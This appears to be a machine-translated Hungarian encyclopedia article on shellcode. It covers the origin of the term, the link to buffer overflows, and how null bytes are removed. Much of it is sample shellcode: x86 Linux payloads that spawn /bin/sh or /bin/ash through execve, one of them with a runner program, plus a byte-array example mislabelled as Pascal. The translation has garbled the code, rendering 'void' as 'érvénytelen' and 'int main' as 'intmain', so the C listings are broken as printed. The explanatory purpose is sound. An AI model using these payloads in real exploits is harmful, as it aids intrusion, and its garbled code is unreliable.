Shell kód
A shellkód általában assembly nyelven programozott parancsok halmaza, amelyeket műveleti kódokba (hexadecimális értékek halmazába) adnak át, amelyeket általában a program végrehajtási veremébe (vagy veremébe) injektálnak , hogy a gépet, amelyen az található, végrehajtsa az ütemezett műveletet. .
Term
A shellcode kifejezés az általános céljukból ered, ez volt a shell megszerzésére használt exploit része , jelenleg ez a leggyakoribb cél, amire használják őket.
Pascal shellcode példa
A shellkód végrehajtásához általában magasabb szintű nyelvet használnak, például a Pascal nyelvet . Az összeállítási kódunkból nyert műveleti kódok egy bájt típusú tömbben vannak felsorolva, és betöltődnek a meghívandó prototípusba.
Példa a shellkódra a következő:
Prototípus futtatása 'Változók. Var ShellCode[]: Byte ' Az OpCode bájttömbje. Var Prototype:Exec ' A ShellCode-ot végrehajtó prototípus. ' Inicializálja/töltse be a ShellCode-ot. ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42_ ,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _ ,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _ ,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _ ,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _ ,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _ ,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe_ ,&49,&0b,&31,&c0,&51,&50,&ff,&d7] – Beállítottuk a prototípus kódját a végrehajtásra. Prototype@ = ShellCode[0]@ Futtatjuk a ShellCode-ot. Prototípus
Amint látható, az opkódok hexadecimális értékek, amelyeket bájtokká alakítanak át (0 és 255 közötti egész számok), és amelyeket az operációs rendszer összeállítási kódként értelmez, amelyet végrehajt.
C shellcode példa
A következő példa egy shellkódot mutat be, amely egy C nyelven írt program tömbjében található:
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* mov $0x46,%al */
"\xcd\x80" /* int $ 0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $ 0x80 */
;
Tehát azt kaptuk, hogy a shellkód hexadecimális jelöléssel írt gépi kód . Később a C nyelven írt programokon belül használják őket, például a következő shellkód mintában:
// shellcode.c
// fordítás a gcc shellcode.c -o shellcode segítségével
void main()
{
((érvénytelen(*)(érvénytelen))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}
Vagy ez a másik:
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
intmain()
{
érvénytelen (*fp)();
fp = (érvénytelen*) &shellcode;
fp();
}
Információ
A shellkódoknak rövidnek kell lenniük ahhoz, hogy a verembe fecskendezhetők, ami általában egy kis hely.
A shellkódok a kód bizonyos sérülékenységeinek kihasználásával, a puffertúlcsordulásnak nevezett kód futtatására szolgálnak . Főleg a shellkód úgy van programozva, hogy lehetővé tegye a parancsértelmező futtatását a fertőzött számítógépen.
Gyakori, hogy egy shellkód fordítása során null byte keletkezik , amit ki kell iktatni belőle, mert leállítanák a shellkód végrehajtását. Ennek érdekében a programozó különféle technikákat alkalmaz, például lecseréli a NULL bájtokat generáló utasításokat olyanokra, amelyek nem, vagy XOR műveletet hajt végre, kisebb regiszterekre (például AH, AL) lép át, és így lehetővé teszi, hogy a shellkód valóban injektálható legyen. .